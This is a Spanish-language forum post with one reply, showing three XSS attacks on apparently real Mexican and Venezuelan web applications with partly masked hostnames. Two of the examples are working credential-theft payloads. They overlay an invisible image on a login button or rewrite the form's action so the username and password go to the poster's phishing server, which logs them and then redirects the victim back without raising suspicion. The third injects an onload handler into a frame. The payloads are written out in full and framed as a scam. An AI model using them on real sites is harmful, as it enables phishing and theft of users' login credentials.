Ataques XSS avanzados a aplicaciones webs: 3 Ejemplos

Iniciado por MichBukana, 22 Agosto 2013, 14:30 PM

0 Miembros y 1 Visitante están viendo este tema.

MichBukana

Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un login vulnerable con dos ejemplos:

1. Añadir imagen invisible superpuesta al botón del submit del form del login
2. Cambiar action de un form

Glosario de terminos

XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código javascript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el 'delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología'.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.

Ejemplo 1:

Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/portalvtn/change_password.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22

Diseccionándola para identificar mejor cada parte de la URL es posible identificar:

Por un lado la URL tal cual.
http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=

Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.
Código (html4strict) [Seleccionar]
"/>
<div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
<img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/portalvtn/change_password.php'"></div>
<input type="hidden" value="


Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:
Código (html4strict) [Seleccionar]
"/>
<input type="hidden" value="


Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
http://img443.imageshack.us/img443/9761/rg4.png

La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.

Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.


Imagen 1: Imagen sobrepuesta al botón

La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.


Imagen 2: Víctima redirigida a la web clonada

Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.

Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.


Imagen 3: Usuario y contraseña robada


Imagen 4: Redirección a la web original

Ejemplo 2:

Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Fportalvtn%2Fchange_password.php%22%3Bdocument.forms
  • .btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A"

    Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.
    Código (html4strict) [Seleccionar]
    <script>document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";document.forms[0].btnSubmitOwn.type="submit"</script>
    <input type="hidden" value="aaa


    Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
    document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";

    y el type del botón para que pase a ser un submit
    document.forms[0].btnSubmitOwn.type="submit"

    Aquí se puede apreciar cómo una vez hecha la inyección al darle a 'Cambiar contraseña propia' se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.


    Imagen 5: Inyección XSS/ formulario rellenado


    Imagen 6: Envio de credenciales y vuelta al login original.

    De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.

    Ejemplo 3:

    Y por último otro ejemplo de XSS no muy común sería el siguiente
    http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=1

    Donde el código fuente de la aplicación es el siguiente:

    Código (html4strict) [Seleccionar]
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <title>SIP+ Planilla Flotante</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    </head>
    <frameset cols="250,*" frameborder="no" border="0" framespacing="0">
            <frame
                   src="indicePlanilla.php?proyectoId=1&amp;action=ver"
                   name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
            <frame
                   src="verPlanilla2.php?proyectoId=1"
                   name="mainFrame" id="mainFrame" />
    </frameset>
    <noframes>
    <body>
    </body>
    </noframes>
    </html>


    Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
    http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a


    Diseccionándolo para que se entienda mejor:
    http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=

    " onload=javascript:alert(8) michy="a

    Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.
    Código (html4strict) [Seleccionar]
            <frame
                   src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&amp;action=ver"
                   name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>   
       



    Imagen 7: Inyección exitosa en la etiqueta frame

    Fuente: http://code-disaster.blogspot.com/


Shout

Esto no tiene nada de avanzado, simplemente cierras un tag y pones un poco de HTML en la URL.
I'll bring you death and pestilence, I'll bring you down on my own